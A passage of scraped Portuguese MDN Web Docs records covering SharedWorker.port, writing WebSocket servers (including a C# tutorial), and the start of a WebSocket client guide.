também\n-----------\n\n* Usando XMLHttpRequest\n* HTML em XMLHttpRequest (en-US)"}
{"title":"SharedWorker.port - APIs da Web","text":"SharedWorker.port\n=================\n\nA propriedade **`port`** do `SharedWorker` (en-US) retorna um objeto `MessagePort` (en-US) usado para comunicar e controlar o shared worker.\n\nSintaxe\n-------\n```\n\nmyWorker.port;\n```\n\n### Valor\n\nUm objeto `MessagePort` (en-US).\n\nExemplo\n-------\n\nO snippet de código a seguir mostra a criação de um objeto SharedWorker usando o construtor `SharedWorker ()` (en-US) . Vários scripts podem acessar o worker através de um objeto do tipo `MessagePort` (en-US) , usando a propriedade SharedWorker.port — A porta é iniciada usando o método `start()` .\n\n\n```js\nvar myWorker = new SharedWorker(\"worker.js\");\nmyWorker.port.start();\n```\n\n\nVeja um exemplo completo Basic shared worker example (run shared worker.)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-sharedworker-port-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The `SharedWorker` (en-US) interface it belongs to."}
{"title":"Escrevendo um servidor WebSocket - APIs da Web","text":"Escrevendo um servidor WebSocket\n================================\n\nUm servidor de WebSocket é uma aplicação TCP que escuta uma porta de um servidor que segue um protocolo específico, simples assim. A tarefa de criar um servidor personalizado costuma assustar as pessoas; no entanto, pode ser fácil implementar um simples servidor WebSocket na sua plataforma de escolha.\n\nUm servidor WebSocket pode ser escrito em qualquer linguagem de programação server-side que é capaz de utilizar Berkeley sockets, tais como C(++) , ou Python, ou mesmo o PHP (en-US) e o server-side JavaScript. Esse não é um tutorial em uma linguagem de programação específica, mas serve como guia para facilitar a escrita do seu próprio servidor.\n\nVocê precisará saber como o HTTP funciona e ter uma experiência média com programação.\n\nDependendo do suporte da linguagem, pode ser necessário o conhecimento sobre soquetes TCP. O escopo deste guia é apresentar o conhecimento mínimo que você precisa para escrever um servidor WebSocket.\n\n**Nota:** Leia a útlima especificação sobre WebSockets, a RFC 6455. As seções 1 e 4-7 são especialmente interessantes para implementadores de servidores. A seção 10 discute assuntos sobre segurança que você definitivamente deveria examinar antes de expor seu servidor.\n\nUm servidor de WebSocket é explicado de maneira bem simples aqui. Servidores de WebSocket geralmente são servidores separados e especializados (para balanceamento de carga ou outras razões práticas), então, geralmente você irá usar um proxy reverso (como um servidor HTTP comum) para detectar a solicitação de handshakes do WebSocket, pré-processá-los e enviar esses clientes para um servidor WebSocket real. Isso significa que você não precisa encher seu código com cookies e manipuladores de autenticação (por exemplo).\n\nO *Handshake* (\"aperto de mão\") do WebSocket\n\nPrimeiro de tudo, o servidor deve ouvir as conexões socket recebidas usando um socket TCP padrão. Dependendo da sua plataforma, isso pode já ter sido tratado previamente. Por exemplo, vamos assumir que seu servidor está ouvindo example.com, porta 8000, e seu servidor socket responde às requisições GET em `/chat`.\n\n**Aviso:** O servidor pode ouvir qualquer porta que escolher, mas se escolher qualquer porta diferente de 80 e 443, podem ocorrer problemas relacionados aos firewalls e/ou proxies. Conexões na porta 443 tendem a ter mais sucesso com mais frequência, isso requer uma conexão segura (TLS/SSL). Também, note que a maioria dos browsers (notavelmente o Firefox 8+) não permite conexões de servidores WebSocket de páginas seguras.\n\nO handshake é a \"Web\" no WebSockets. É a ponte do HTTP para o Websocket. No handshake, detalhes da conexão são negociados, e qualquer uma das partes pode voltar antes da conclusão se os termos são desfavoráveis. O servidor deve ser cuidadoso para entender tudo que o cliente perguntar, caso contrário, serão introduzidas questões de segurança.\n\n### Requisição Handshake do Cliente\n\nMesmo que você esteja construindo um servidor, um cliente ainda precisa iniciar o processo de handshake do WebSocket. Então você deve saber como interpretar a requisição do cliente. O cliente vai enviar uma requisição HTTP padrão que é parecida com isso (a versão do HTTP **deve** ser 1.1 ou maior, e o método **deve** ser um `GET`):\n```\n\nGET /chat HTTP/1.1\nHost: example.com:8000\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\nSec-WebSocket-Version: 13\n```\n\n\nO cliente pode solicitar extensões e/ou subprotocolos aqui; veja Miscellaneous para mais detalhes. Também, cabeçalhos comuns como `User-Agent`, `Referer`, `Cookie`, ou cabeçalhos de autenticação poderiam estar bem aqui. Faça o que você quiser com eles; eles não pertencem diretamente ao WebSocket. Também é seguro ignora-los. Em muitas configurações comuns, um proxy reverso ja tratou deles.\n\nSe qualquer cabeçalho não foi entendido ou conter um valor incorreto, o servidor deve enviar um erro \"400 Bad Request (en-US)\" e fechar o socket imediatamente. É comum, também dar a razão pelo qual o handshake falhou no body da resposta do HTTP, mas muitas mensages nunca serão mostradas (os browsers não mostram isso). Se o servidor não reconhecer a versão do WebSockets, deve enviar um cabeçalho `Sec-WebSocket-Version` que contenha a(s) versão(versões) que o mesmo entenda. (Esse guia explica o v13, o mais novo). Agora, vamos continuar para o cabeçalho mais curioso, o `Sec-WebSocket-Key`.\n\n**Nota:** **Dica:** Todos os browsers vão enviar um `Origin` header (en-US). Você pode usar esse cabeçalho por segurança (verifique pelo de mesma origem, whitelisting/ blacklisting, etc.) e envie uma 403 Forbidden (en-US) se você não gostou do que viu. Sobretanto, fique ciente que os agentes non-browser podem apenas enviar uma falsa `Origin`. Muitas aplicações vão rejeitar requisições sem cabeçalho.\n\n**Nota:** **Dica:** A request-uri (`/chat` aqui) não tem significado definido na especificação. Muitas pessoas utilizam habilmente para que servidores lidem com muiltíplas aplicações WebSocket. Por exemplo, `example.com/chat` deve invocar um app de chat com multiplos usuários, enquanto `/game` no mesmo servidor poderia invocar um jogo multiplayer.\n\n**Nota:** Regular HTTP status codes (en-US) podem apenas ser usados antes do handshake. Depois que o handshake sucede, você deve usar um conjunto de códigos diferentes (definidos na seção 7.4 da especificação).\n\n### Resposta Handshake do Servidor\n\nQuanto o servidor receber a requisição de handshake, ele deve enviar um resposta especifica (odd-looking) que indica que o protocolo está sendo alterado de HTTP para WebSocket. Essa resposta se parece com isso (lembre-se cada final do cabeçalho com `\\r\\n` e coloque um `\\r\\n` extra depois do último):\n```\n\nHTTP/1.1 101 Switching Protocols\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\n```\n\n\nAdicionalmente, o servidor pode decidir sobre os pedidos de extensão/subprotocolo aqui; veja Miscellaneous para mais detalhes. O `Sec-WebSocket-Accept` é uma parte interessante. O servidor deve deriva-lo do `Sec-WebSocket-Key` que o cliente enviou. Para obte-lo, concatene o `Sec-WebSocket-Key` do cliente e a string \"`258EAFA5-E914-47DA-95CA-C5AB0DC85B11`\" juntos (isso é uma \"magic string\"), pegue o SHA-1 hash do resultado, e retorne o codigo base64 do hash.\n\n**Nota:** **FYI:** Esse processo, aparentemente complicado existe para que seja óbvio para o cliente se o servidor suporta ou não o WebSockets. Isso é importante por causa de problemas com segurança que aparecem se o servidor aceita a conexão WebSocket mas interpreta que os dados são uma requisição HTTP.\n\nEntão se a chave foi \"`dGhlIHNhbXBsZSBub25jZQ==`\", o cabeçalho `Sec-WebSocket-Accept` aceito será \"`s3pPLMBiTxaQ9kYGzzhZRbK+xOo=`\". Uma vez que o servidor envie estes cabeçalhos, o handshake esta completo e você pode começar a trocar dados!\n\n**Nota:** O servidor pode enviar outros cabeçalhos como Set-Cookie, ou perguntar por autenticação ou redirecionar via outros códigos de status, antes enviando a resposta do handshake.\n\n### Acompanhamento dos clientes\n\nIsso não está diretamente relacionado ao protocolo de WebSocket, mas vale apena mencionar aqui: seu servidor terá que acompanhar os soquetes dos clientes para que você não tenho que fazer o handshake novamente com clientes que já concluiram o handshake. O mesmo endereço IP do cliente pode tentar se conectar varias vezes (mas o servidor pode negar se tentarem fazer muitas conexões em razão de se defender de ataques de negação de serviço).\n\nTrocando Data Frames\n--------------------\n\nTanto o cliente quanto o servidor podem enviar mensagens a qualquer momento — essa é a mágia do WebSocket. Entretanto, extrair informações desses chamados \"frames\" de dados não é um experiencia tão magica assim. Apesar de todos os *frames* seguirem um mesmo formato, os dados do cliente são enviados criptografados para o servidor, usando criptografia XOR (com uma chave de 32 bits). A seção 5 da especificação do protocolo de WebSocket descreve isso em detalhes.\n\n### Formato\n\nCada *data frame* (do cliente para o servidor ou vice-versa) segue o mesmo formato:\n```\n\nFrame format:\n\n      0                   1                   2                   3\n      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n     +-+-+-+-+-------+-+-------------+-------------------------------+\n     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |\n     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |\n     |N|V|V|V|       |S|             |   (if payload len==126/127)   |\n     | |1|2|3|       |K|             |                               |\n     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +\n     |     Extended payload length continued, if payload len == 127  |\n     + - - - - - - - - - - - - - - - +-------------------------------+\n     |                               |Masking-key, if MASK set to 1  |\n     +-------------------------------+-------------------------------+\n     | Masking-key (continued)       |          Payload Data         |\n     +-------------------------------- - - - - - - - - - - - - - - - +\n     :                     Payload Data continued ...                :\n     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +\n     |                     Payload Data continued ...                |\n     +---------------------------------------------------------------+\n```\n\n\nO bit de MASK simplesmente diz se a mensagem está codificada. Mensagens do cliente devem estar mascaradas, então seu servidor deve esperar que o valor de MASK seja 1. De fato, a seção 5.1 da especificação diz que seu servidor deve se desconectar de um cliente se este cliente enviar mensagens que não estão mascaradas. Quando enviando um *frame* para o cliente, não mascare a mensagem e não defina o bit MASK. Explicaremos o mascaramento mais tarde.\n\n**Nota:** Você tem que mascarar as mensagens mesmo quando usando secure socket (SSL).\n Os campos RSV de 1 à 3 do cabeçalho podem ser ignorados, eles são para extenções.\n\n\nO campo `opcode` define como interpretar o `payload data`: `0x0` para continuo, `0x1` para texto (que sempre está codificadao em UTF-8), `0x2` para binário, e outros conhecidos como \"control codes\" seram discutidos posteriormente. Nessa versão de WebSockets, `0x3`, a `0x7` e `0xB` a `0xF` tem o mesmo significado.\n\nO bit FIN disso se é a ultima mensagem da serie. Se for `0`, então o servidor irá continuar esperando por mair partes da mensagem; caso contrário, o servidor pode considerar a mensagem como enviada.\n\nSe falará mais sobre isso depois.\n\n### Decodificando o Payload Length\n\nPara ler o `payload data`, você deve saber quando parar de ler. Por isso é importante saber o tamanho do payload (payload length). Infelizmente, conseguir essa informação é de certa forma complicado. Para obte-lá, seguimos esses passos:\n\n1. Ler os bits 9-15 (inclusivo) e interpretar como um unsigned integer. Se o valor for de 125 ou menor, esse é o tamanho; temos a resposta. Se o valor é igual a 126, então vai para o passo 2, ou se for 127, então vai para o passo 3.\n2. Ler os próximos 16 bits e interpretar como um unsined integer, esse é o tamanho; temos a resposta\n3. Ler os próximos 64 bits e interpretar como um unsigned integer (o bit mais significante DEVE ser 0), esse é o tamanho; temos a resposta.\n### Lendo e Desmascarando o Dado\n\nSe o bit `MASK` for definido (e deve estar, para mensagens cliente-para-servidor), leia os próximos 4 octetos (32 bits); isso é a chave da mascara. Uma vez que o `payload length` e o `masking key` são decodificados, você pode seguir em frente e ler o número de bytes do socket.\n\nVamos chamar os dados de **ENCODED**, e a chave de **MASK**.\n\nPara conseguir o **DECODED**, faça um loop sobre os octetos de **ENCODED** e um XOR do (i módulo 4) ezimo octeto de **MASK**. Em pseudo-código (isso é para ser valida em JavaScript):\n```\n\nvar DECODED = \"\";\nfor (var i = 0; i < ENCODED.length; i++) {\n    DECODED[i] = ENCODED[i] ^ MASK[i % 4];\n}\n```\n\n\nAgora você pode descobrir o que DECODED significa, dependendo da sua aplicação.\n\n### Fragmentação de Mensagens\n\nOs campos `FIN` e `opcode` trabalham juntos para enviar uma mensagens quebradas em mais de um *frame*. Isso é chamado de fragmentação. Fragmentação está disponível apenas sobre `opcode` `0x0` a `0x2`.\n\nLembre que o `opcode` diz o que o *frame* deve fazer. Se for `0x1`, o payload um é texto. Se for `0x2`, o payload são dados binários. Entretanto, se for `0x0`, o *frame* é um*frame de continuação*. Isso significa que o servidor deve concatenar o *frame* de payload com o último frame recebido do cliente.\n\nAqui está um exemplo, de como o servidor reage a um cliente enviando uma mensagem de texto. A primeira mensagem é enviada em um frame unico, enquanto a segunda mensagem é enviada através de tres frames. Os detalhes de `FIN` e `opcode` são mostrados apenas para o cliente:\n```\n\nClient: FIN=1, opcode=0x1, msg=\"hello\"\nServer: (process complete message immediately) Hi.\nClient: FIN=0, opcode=0x1, msg=\"and a\"\nServer: (listening, new message containing text started)\nClient: FIN=0, opcode=0x0, msg=\"happy new\"\nServer: (listening, payload concatenated to previous message)\nClient: FIN=1, opcode=0x0, msg=\"year!\"\nServer: (process complete message) Happy new year to you too!\n```\n\n\n Note que o primeiro *frame* que contém a mensagem inteira tem o `FIN igual a 1` e o `opcode igual a 0x1`, entao o servidor pode processar ou responder como achar melhor.\n O segundo frame enviado pelo cliente é uma mensagem de texto com payload `opcode igual a 0x1`, mas a mensagem inteira ainda não chegou (`FIN=0`). Todos as partes restantes da mensagem são enviados em frames continuos (`opcode=0x0`), e o frame final da mensagem é marcado com `FIN=1`. Seção 5.4 da especificação descreve a fragmentação de mensagens.\n\nPings e Pongs: O Heartbeat do WebSockets\n----------------------------------------\n\nEm qualquer momento do handshake, tanto o cliente quanto o servidor podem enviar um ping para a outra parte. Quando o ping é rescebido, o destinatário deve responder com um pong assim que possível. Você pode usar isso para garantir que o cliente está conectado, por exemplo.\n\nUm ping ou um pong é um frame comum, entretanto é usado para controle. Pings tem o valor de opcode `0x9`, enquanto que pongs tem o opcode `0xA`. Quando você recebe um ping, envia de volta um pong com o mesmo exato `payload data` do ping (para pings e pongs, o `payload length` máximo é 125). Você também pode ter um pong sem nunca receber um ping; ignore isso caso ocorra.\n\n**Nota:** Se você receber mais de um ping antes de ter a chance de enviar um pong, você envia apenas um pong.\n\nFechando a conexão\n------------------\n\nPara fechar a conexão tanto cliente quanto servidor podem enviar um frame de controle com dados contendo a sequencia de controles especifica para iniciar o fim do handshake (detalhado na seção 5.5.1). Assim que receber esse tipo de frame, a outra parte envia um frame de fechamento em resposta. A primeira parte então fecha a conexão. Quais quer outros dados recebidos depois de fechar a conexão é descartado.\n\nDiversos\n--------\n\n**Nota:** Códigos WebSocket, extensões, subprotocols, etc. são registrados na IANA WebSocket Protocol Registry.\n\nAs extensões e subprotocolos do WebSocket são negociados via headers durante the handshake. Algumas vezes extensões e subprotocolos paracem muito similares para serem coisas diferentes, mas eles tem claras distinções. Extensões controlam os **frame** do WebSocket e **modificam** o payload, enquanto os subprotocolos estruturam o **payload** do WebSocket e **nunca modificam** nada. Extensões são opcionais e generalizadas (como comporessam); subprotocolos são mandatórios e localizados (como os usados para chat e para jogos MMORPG).\n\n### Extensões\n\n**Nota:** **Essa sessão precisa ser mais desenvolvida. Por favor edite se você tiver conhecimento sobre.**\n\nImagine um extensão que comprime um arquivo antes de ser enviado em um e-mail para alguem. Independente do que você faça, está enviando o *mesmo* dado de formas diferentes. O destinatário eventualmente terá os mesmos dados que a cópia local que você tem, mas foram enviadas de formas diferentes. Isso é o que extensões fazem. WebSockets definem um protocolo e um forma simples de envio de dados, mas uma extensão como um compressor pode enviar o mesmo dado em um formado menor.\n\n**Nota:** Extensões são explicadas nas sessões 5.8, 9, 11.3.2 e 11.4 da especificação.\n\n### Subprotocols\n\nPense em um subprotocolo como um esquema XML personalizado ou doctype declaration. Você ainda está usando XML e sua sintaxe, mas também é restringido por uma estrutura em que concordou. Os subprotocolo WebSocket são exatamente assim. Eles não apresentam nada sofisticado, apenas estabelecem estrutura. Como um doctype ou esquema, ambas as partes devem concordar com o subprotocolo; diferente de um doctype ou esquema, o subprotocolo é implementado no servidor e não pode ser referenciado externamente pelo cliente.\n\n**Nota:** Subprotocolos são explicados nas sessões 1.9, 4.2, 11.3.4 e 11.5 da especificação.\n\nUm cliente precisa solicitar um subprotocolo específico. Para fazer isso, ele enviará algo como isso **como parte do handshake original**:\n```\n\nGET /chat HTTP/1.1\n...\nSec-WebSocket-Protocol: soap, wamp\n```\n\n\nou, equivalentemente:\n```\n\n...\nSec-WebSocket-Protocol: soap\nSec-WebSocket-Protocol: wamp\n```\n\n\nAgora, o servidor deve escolher um dos protocolos que o cliente sugeriu e suporta. Se houver mais de um, envie o primeiro que o cliente enviou. Imagine que nosso servidor possa usar `soap` e `wamp`. Em seguida, no handshake de resposta, ele enviará:\n```\n\nSec-WebSocket-Protocol: soap\n```\n\n\n**Aviso:** O servidor não pode enviar mais de um cabeçalho `Sec-Websocket-Protocol`.\n Se o servidor não quiser usar nenhum subprotocolo, **ele não deverá enviar nenhum cabeçalho `Sec-WebSocket-Protocol`**. O envio de um cabeçalho em branco está incorreto.\n O cliente pode fechar a conexão se não conseguir o subprotocolo desejado.\n\n\nSe você deseja que seu servidor obedeça a certos subprotocolo, então naturalmente precisará de código extra no servidor. Vamos imaginar que estamos usando um subprotocolo `json`. Neste subprotocolo, todos os dados são transmitidos como JSON. Se o cliente solicitar esse protocolo e o servidor quiser usá-lo, o servidor precisará ter um analisador JSON. Na prática, isso fará parte de uma biblioteca, mas o servidor precisará transmitir os dados.\n\n**Nota:** **Tip:** Para evitar o conflito de nomes, recomenda-se que o subprotocolo seja nomeado como parte da string do domínio. Se você está desenvolvendo um aplicativo de bate-papo personalizado que usa um formato proprietário exclusivo da Exemplo Inc., então você pode usar isso: `Sec-WebSocket-Protocol: chat.example.com`. Note que isso não é necessário, é apenas uma convenção opcional, e você pode usar qualquer string que desejar.\n\nRelacionado\n-----------\n\n* Biblioteca para o \"*aperto de mão\"* do WebSocket em C++\n* Tutorial: Servidor Websocket em C#\n* Escrevendo aplicações WebSocket do cliente (en-US)\n* Tutorial: Servidor Websocket em VB.NET\n* Especificação do protocolo (RFC 6455)"}
{"title":"Escrevendo um servidor WebSocket em C # - APIs da Web","text":"Escrevendo um servidor WebSocket em C #\n=======================================\n\nIntrodução\n----------\n\nSe você quiser usar uma API WebSocket, você precisara ter um servidor. Neste artigo vou mostrar como escrever um WebSocket em C#. Você pode fazer isso em qualquer linguagem server-side, mas para manter as coisas simples e mais compreensíveis eu escolhi uma linguagem Microsoft.\n\nEste servidor está em conformidade com a RFC 6455, por isso irá tratar apenas as conexões com os navegadores Chrome versão 16, Firefox 11, IE 10 ou superior.\n\nPrimeiros passos\n----------------\n\nOs WebSocket´s se comunicam através de uma conexão TCP (Transmission Control Protocol), felizmente o C# possui a classe TcpListener que, como o nome sugere, tem a função de escutar (Listener) as comunicações via TCP. A classe TcpListener está no namespace System.Net.Sockets.\n\n**Nota:** É uma boa idéia usar a palavra chave using para escrever menos. Isso significa que não é preciso você reescrever o namespace toda vez que usar uma classe dele.\n\n### TcpListener\n\nConstrutor:\n\n\n```cpp\nTcpListener(System.Net.IPAddress localaddr, int port)\n```\n\n\nAqui você define onde o servidor será acessível.\n\n**Nota:** Para setar facilmente o tipo esperado no primeiro parâmetro, use o método estático Parse da classe IPAddress.\n\nMétodos:\n\n* Start()\n* System.Net.Sockets.TcpClient AcceptTcpClient()\n Espera por uma conexão TCP, aceita a conexão e retorna um objeto TcpClient.\n\nVeja como usar o que aprendemos:\n\n\n```cs\nusing System.Net.Sockets;\nusing System.Net;\nusing System;\n\nclass Server {\n    public static void Main() {\n        TcpListener server = new TcpListener(IPAddress.Parse(\"127.0.0.1\"), 80);\n\n        server.Start();\n        Console.WriteLine(\"Server has started on 127.0.0.1:80.{0}Waiting for a connection...\", Environment.NewLine);\n\n        TcpClient client = server.AcceptTcpClient();\n\n        Console.WriteLine(\"A client connected.\");\n    }\n}\n```\n\n### TcpClient\n\nMétodos:\n\n* `System.Net.Sockets.NetworkStream GetStream()`\n Obtém o fluxo (stream) do canal de comunicação. Ambos os lados do canal de comunicação possuem a capacidade de ler e escrever.\n\nPropriedades:\n\n* `int Available`\n Este é o numero de bytes de dados que foram enviados. o valor é zero enquanto *NetworkStream.DataAvailable* for *falso*.\n### NetworkStream\n\nMétodos:\n\n\n```cpp\nWrite(Byte[] buffer, int offset, int size)\n```\n\n\nGrava bytes do buffer, *offset* e *size* determinam o tamanho da mensagem.\n```\n\nRead(Byte[] buffer, int offset, int size)\n```\n\n\nLê bytes para o *buffer*, *offset* e *size* determinam o tamanho da mensagem.\n\nVamos estender nosso exemplo.\n\n\n```cpp\nTcpClient client = server.AcceptTcpClient();\n\nConsole.WriteLine(\"A client connected.\");\n\nNetworkStream stream = client.GetStream();\n\n//enter to an infinite cycle to be able to handle every change in stream\nwhile (true) {\n    while (!stream.DataAvailable);\n\n    Byte[] bytes = new Byte[client.Available];\n\n    stream.Read(bytes, 0, bytes.Length);\n}\n```\n\nHandshaking\n-----------\n\nQuando um cliente se conecta a um servidor, ele envia uma solicitação GET para atualizar a conexão com o WebSocket a partir de uma simples requisição HTTP. Isto é conhecido como handshaking (aperto de mão).\n\n**Aviso:** Este código tem um defeito. Digamos que a propriedade client.`Available` retorna o valor 2 porque somente a requisição GET está disponível até agora. a expressão regular iria falhar mesmo que os dados recebidos sejam perfeitamente válidos.\n\n\n```cpp\nusing System.Text;\nusing System.Text.RegularExpressions;\n\nByte[] bytes = new Byte[client.Available];\n\nstream.Read(bytes, 0, bytes.Length);\n\n//translate bytes of request to string\nString data = Encoding.UTF8.GetString(bytes);\n\nif (new Regex(\"^GET\").IsMatch(data)) {\n\n} else {\n\n}\n```\n\n\nCriar a resposta é mais fácil do que entender porque você deve fazê-lo desta forma.\n\nVocê deve,\n\n1. Obter o valor do cabeçalho da requisição *Sec-WebSocket-Key* sem qualquer espaço à direita e à esquerda;\n2. Concatenar com \"258EAFA5-E914-47DA-95CA-C5AB0DC85B11\";\n3. Calcular o código SHA-1 e Base64 dele;\n4. Reescreva no cabeçalho de resposta o valor de *Sec-WebSocket-Accept* como parte de uma resposta HTTP.\n\n\n```cpp\nif (new Regex(\"^GET\").IsMatch(data)) {\n    Byte[] response = Encoding.UTF8.GetBytes(\"HTTP/1.1 101 Switching Protocols\" + Environment.NewLine\n        + \"Connection: Upgrade\" + Environment.NewLine\n        + \"Upgrade: websocket\" + Environment.NewLine\n        + \"Sec-WebSocket-Accept: \" + Convert.ToBase64String (\n            SHA1.Create().ComputeHash (\n                Encoding.UTF8.GetBytes (\n                    new Regex(\"Sec-WebSocket-Key: (.\\*)\").Match(data).Groups[1].Value.Trim() + \"258EAFA5-E914-47DA-95CA-C5AB0DC85B11\"\n                )\n            )\n        ) + Environment.NewLine\n        + Environment.NewLine);\n\n    stream.Write(response, 0, response.Length);\n}\n```\n\nDecodificação de mensagens\n--------------------------\n\nApós um *handshake* de sucesso o cliente ponde enviar mensagens ao servidor, mas agora estas mensagens são codificadas.\n\nSe nós enviarmos \"MDN\", nós obtemos estes bytes:\n\n| 129 | 131 | 61 | 84 | 35 | 6 | 112 | 16 | 109 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n\n- 129:\n\n| FIN (Esta é toda a mensagem?) | RSV1 | RSV2 | RSV3 | Opcode |\n| --- | --- | --- | --- | --- |\n| 1 | 0 | 0 | 0 | 0x1=0001 |\n\n FIN: Você pode enviar sua mensagem em quadros (frames), mas agora as coisas ficaram mais simples.\n Opcode *0x1* significa que este é um texto. Veja aqui a lista completa de Opcodes.\n\n- 131:\n\nSe o segundo byte menos 128 estiver entre 0 e 125, este é o tamanho da mensagem. Se for 126, os 2 bytes seguintes (16-bit inteiro sem sinal) e se 127, os 8 bytes seguintes (64-bit inteiro sem sinal) são o comprimento.\n\n**Nota:** Eu posso escolher 128, porque o primeiro bit sempre será 1.\n\n- 61, 84, 35 e 6 são os bytes de chave para decodificar. Sempre mudam.\n\n- O restante dos bytes codificados são a mensagem.\n\n### Algoritmo de decodificação\n\nbyte decodificado = [byte codificado XOR (posição do byte codificado MOD 4º byte da chave)]\n\nExemplo em C#:\n\n\n```cpp\nByte[] decoded = new Byte[3];\nByte[] encoded = new Byte[3] {112, 16, 109};\nByte[] key = Byte[4] {61, 84, 35, 6};\n\nfor (int i = 0; i < encoded.Length; i++) {\n    decoded[i] = (Byte)(encoded[i] ^ key[i % 4]);\n}\n```\n\nLink Relacionado\n----------------\n\n* Writing WebSocket servers"}
{"title":"Escrevendo aplicações cliente WebSocket - APIs da Web","text":"Escrevendo aplicações cliente WebSocket\n=======================================\n\nAplicações cliente usam o WebSocket API para se comunicar com WebSocket servers sob o protocolo WebSocket.\n\n**Note:** This feature is available in Web Workers\n\n**Aviso:** O fragmento de código neste artigo foi tomado de um exemplo de chat usando WebSocket. veja o código, então experimente o exemplo. **O exemplo atual possui um bug; ele está tentando usar WebSockets inseguro e precisa ser atualizado para usar WebSocokets seguro. Iremos arrumar isso em breve!**\n\nCriando um objeto WebSocket\n---------------------------\n\nPara se comunicar utilizando o protocolo WebSocket, você precisa criar um objeto `WebSocket`, que automaticamente tentará abrir a conexão com o servidor.\n\nO construtor WebSocket aceita dois campos, um obrigatório e um opcional:\n```\n\nWebSocket WebSocket(\n  in DOMString url,\n  in optional DOMString protocols\n);\n```\n\n\n`url`\n\nA URL para se conectar. Esta deve ser a URL para qual o WebSocket irá responder.\n\n`protocols` Optional\n\nUma única string indicando o protocolo ou uma *array* de strings de protocolos. Estas strings são usadas para indicar sub-protocolos, de forma que um único servidor pode implementar múltiplos sub-protocolos WebSocket (por exemplo, você pode querer que um servidor seja capaz de lidar com diferentes tipos de interações a depender do `protocol` especificado). Se não especificar uma string de protocolo, uma string vazia é assumida.\n\nO construtor lançará a exceção **`SECURITY_ERR`** se o destino não permitir acesso. Isso pode acontecer se você tentar utilizar uma conexão insegura (a maioria dos user agents (en-US) agora necessitam de um link seguro para todas as conexões WebSocket, a menos que estejam no mesmo dispositivo ou na mesma rede).\n\n### Erros de Conexão\n\nSe um erro ocorrer durante a tentativa de conexão, primeiro um simpes evento com o nome \"error\" é enviado ao objeto `WebSocket` (invocando, assim, seu manipulador `onerror`), e então o `CloseEvent` é enviado ao objeto `WebSocket` (invocando o manipulador `onclose`) para indicar a razão pela qual a conexão foi fechada.\n\nO browser pode exibir uma descrição de erro mais detalhada na saída do console, ou mesmo um código de encerramento conforme definido na RFC 6455, Section 7.4 através do `CloseEvent`. Está implementado a partir do Firefox 11.\n\n### Exemplos\n\nNeste simples exemplo, criaremos um novo WebSocket, conectando ao servidor em `ws://www.example.com/socketserver`. Neste exemplo utilizaremos um protocolo customizado denominado \"protocolOne\", embora possa ser omitido.\n\n\n```js\nvar exampleSocket = new WebSocket(\n  \"ws://www.example.com/socketserver\",\n  \"protocolOne\",\n);\n```\n\n\nNo retorno, `exampleSocket.readyState` está como `CONNECTING`. O `readyState` se tornará `OPEN` quando a conexão estiver pronta para transferir dados.\n\nSe quiser abrir uma conexão e for flexível quanto aos protocolos suportados, você pode especificar um array de protocolos:\n\n\n```js\nvar exampleSocket = new WebSocket(\"ws://www.example.com/socketserver\", [\n  \"protocolOne\",\n  \"protocolTwo\",\n]);\n```\n\n\nUma vez que a conexão for estabelecida (isso é, `readyState` está `OPEN`), `exampleSocket.protocol` informará qual protocolo o servidor selecionou.\n\nNos exemplos acima, `ws` foi substituído por `http`, de forma similar `wss` substitui `https`. Estabelecer uma conexão WebSocket depende do Mecanismo de Aprimoramento HTTP (en-US), de forma que o pedido para atualização de protocolo está implícito quando endereçamos o servidor HTTP como `ws://www.example.com` ou `wss://www.example.com`.\n\nEnviando dados ao servidor\n--------------------------\n\nUma vez a conexão aberta, você pode iniciar a transmisão de dados ao servidor. Para tanto, chame o método `send()` do `WebSocket` para cada mensagem que queira enviar:\n\n\n```js\nexampleSocket.send(\n  \"Aqui vai algum texto que o servidor esteja aguardando urgentemente!\",\n);\n```\n\n\nVocê pode enviar dados como uma string, `Blob`, ou um `ArrayBuffer`.\n\n**Nota:** Nas versões anteriores à 11, o Firefox suporta apenas o envio de dados como string.\n\nVisto que estabelecer uma conexão funciona de forma assícrona e, consequentemente, propensa a erros, não há garantia de sucesso ao chamar o método `send()` imediatamente após criar um objeto WebSocket. Podemos, pelo menos, ter certeza de que a tentativa de envio dos dados apenas ocorre quando uma conexão é estabelecida definindo um manipulador de eventos `onopen`:\n\n\n```js\nexampleSocket.onopen = function (event) {\n  exampleSocket.send(\n    \"Aqui vai algum texto que o servidor esteja aguardando urgentemente!\",\n  );\n};\n```\n\n### Utilizando JSON para transmitir objetos\n\nUma forma conveniente é usar JSON para enviar dados razoavelmente complexos ao servidor. Por exemplo, um aplicação de chat pode interagir com o servidor empregando um protocolo que utilize pacotes de dados JSON encapsulados:\n\n\n```js\n// Enviar texto para todos os usuarios atraves do servidor\nfunction sendText() {\n  // Construir um objeto do tipo msg contendo o dado que o servidor precisa processar a partir do cliente de chat.\n  var msg = {\n    type: \"message\",\n    text: document.getElementById(\"text\").value,\n    id: clientID,\n    date: Date.now(),\n  };\n\n  // Enviar o objeto msg como um JSON em formato de string.\n  exampleSocket.send(JSON.stringify(msg));\n\n  // Esvaziar o campo input do elemento text, pronto pra receber a próxima linha de texto do usuário.\n  document.getElementById(\"text\").value = \"\";\n}\n```\n\nRecebendo mensagens do servidor\n-------------------------------\n\nA API WebSockets é dirigida por eventos (en-US); quando mensagens são recebidas, um evento de \"mensagem\" é entregue à função `onmessage`. Para começar a ouvir os dados de entrada, você pode fazer algo conforme o exemplo abaixo:\n\n\n```js\nexampleSocket.onmessage = function (event) {\n  console.log(event.data);\n};\n```\n\n### Recebendo e interpretando objetos JSON\n\nVamos considerar que a aplicação cliente de chat remete o envio de dados Utilizando JSON para transmitir objetos. Existem diversos tipos de pacotes de dados que o cliente pode receber, tais como:\n\n* Handshake de login\n* 